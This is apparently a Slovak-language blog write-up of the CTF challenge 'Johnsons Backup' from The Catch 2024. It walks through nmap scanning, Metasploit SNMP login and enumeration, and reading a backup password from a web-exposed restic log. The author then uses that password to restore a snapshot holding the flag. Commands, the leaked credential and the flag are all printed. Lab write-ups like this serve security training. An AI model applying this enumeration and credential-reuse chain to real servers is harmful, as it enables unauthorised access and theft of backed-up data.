14. 12. 2024

CTF - The Catch 2024 - Johnsons Backup

 Admin Johnson začal testovať zálohovacie procedúry na serveri johnson-backup.cypherfix.tcc. Pre iné zaujímavé úlohy ale nechal proces nedokončený. Mám zistiť, či je v súčasnom stave úspešne napadnuteľný.

Pomôcka - admin Johnson neudržuje dobrú hygienu hesiel

Pozriem najskôr otvorené porty:

$ nmap johnson-backup.cypherfix.tcc
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-12-13 23:36 CET
Nmap scan report for johnson-backup.cypherfix.tcc (10.99.24.30)
PORT    STATE SERVICE
80/tcp  open  http
199/tcp open  smux

Na porte 80 je default stránka Apache, na porte 199 beží bežne SNMP a k tejto službe som našiel postup na napadnutie cez Metasploit.


Postup na napadnutie SNMP cez Metasploit je vo videu: https://www.youtube.com/watch?v=-WbTPKPqqhE

Postup je takýto:
$ msfconsole
use auxiliary/scanner/snmp/snmp_login
show options
setg rhosts johnson-backup.cypherfix.tcc
exploit

Počkám a vidím, že sa podarilo prihlásiť cez public ako readonly

use auxiliary/scanner/snmp/snmp_enum
show options
exploit


[*] Processes:

Id                  Status              Name                Path                Parameters
1                   runnable            supervisord         /usr/bin/python3    /usr/bin/supervisord
7                   runnable            apache2ctl          /bin/sh             /usr/sbin/apache2ctl -D FOREGROUND
8                   runnable            cron                /usr/sbin/cron      -f
9                   running             snmpd               /usr/sbin/snmpd     -f
12                  runnable            cron                /usr/sbin/CRON      -f
16                  runnable            sh                  /bin/sh             -c /etc/scripts/restic.sh >> /var/www/html/3cde480a8572719b9b33acb1257c6361/restic.err.log 2>&1
20                  runnable            restic.sh           /bin/bash           /etc/scripts/restic.sh
28                  runnable            apache2             /usr/sbin/apache2   -D FOREGROUND
9331                runnable            apache2             /usr/sbin/apache2   -D FOREGROUND
9359                runnable            apache2             /usr/sbin/apache2   -D FOREGROUND
9387                runnable            apache2             /usr/sbin/apache2   -D FOREGROUND
9767                runnable            sleep               sleep               86400

Tu vidím zopár bežiacich procesov (je to linux) a medzi nimi aj restic.sh a jeho log je pod cestou kde býva bežne web /var/www/html/...

Túto cestu vezmem a stiahnem si log:
$ wget http://johnson-backup.cypherfix.tcc/3cde480a8572719b9b33acb1257c6361/restic.err.log

Hneď na začiatku logu vidím, akým loginom a heslom sa snaží ísť na backup server cez rest:
restic -r rest:http://johnson:KGDkjgsdsdg883hhd@restic-server.cypherfix.tcc:8000/test check

Tu je vidieť aj host, port a cesta backup stroja.

Doinštaloval som si restic, príkaz dáva rovnaké chyby ako sú v stiahnutom logu. Skúšal som miesto check na konci dať "cat config" nezobral, ani "ls latest".

Vyzerá, že po zavolaní príkazu restic, má problém s uzamknutím. Ale je tu parameter pre readonly bez zamknutia (pridať --no-lock)
$ restic -r rest:http://johnson:KGDkjgsdsdg883hhd@restic-server.cypherfix.tcc:8000/test cat config
enter password for repository:
repository 4c59d415 opened (version 2, compression level auto)
Save(<lock/c7f99f0a93>) returned error, retrying after 1.062777851s: unexpected HTTP response (500): 500 Internal Server Error
Save(<lock/c7f99f0a93>) returned error, retrying after 1.174555077s: unexpected HTTP response (500): 500 Internal Server Error
Save(<lock/c7f99f0a93>) returned error, retrying after 4.453225244s: unexpected HTTP response (500): 500 Internal Server Error

  signal interrupt received, cleaning up
unable to create lock in backend: context canceled

$ restic -r rest:http://johnson:KGDkjgsdsdg883hhd@restic-server.cypherfix.tcc:8000/test cat config --no-lock
enter password for repository:
repository 4c59d415 opened (version 2, compression level auto)
{
  "version": 2,
  "id": "4c59d4155a5d2ae7ed28d38beec68203d6bd532010ada7611052f207b0f636fc",
  "chunker_polynomial": "2ed88a9281b017"
}
Vyzerá, že toto bol hlavný problém a teraz sa už dopracujem ku vlajke, ako tak pozerám posledné zálohy cez "ls latest":
$ restic -r rest:http://johnson:KGDkjgsdsdg883hhd@restic-server.cypherfix.tcc:8000/test ls latest --no-lock
enter password for repository:
repository 4c59d415 opened (version 2, compression level auto)
[0:00] 100.00%  1 / 1 index files loaded
snapshot 84e8d815 of [/etc/secret] at 2024-08-08 08:58:38.365981379 +0000 UTC by root@4d6c9220e986 filtered by []:
/etc
/etc/secret
/etc/secret/flag
Zoberiem číslo snapshotu a ideme restorovať (iné príkazy som nemal úspech, taký dump a pod)
$ restic -r rest:http://johnson:KGDkjgsdsdg883hhd@restic-server.cypherfix.tcc:8000/test restore 84e8d815 --no-lock --target ../rest
enter password for repository:
repository 4c59d415 opened (version 2, compression level auto)
[0:00] 100.00%  1 / 1 index files loaded
restoring snapshot 84e8d815 of [/etc/secret] at 2024-08-08 08:58:38.365981379 +0000 UTC by root@4d6c9220e986 to ../rest
Summary: Restored 3 files/dirs (26 B) in 0:00
Výsledok - mám u seba v podadresároch restornutý súbor flag.
Obsahuje vlajku FLAG{OItn-zKZW-cht7-RNH4}

Žiadne komentáre:

Zverejnenie komentára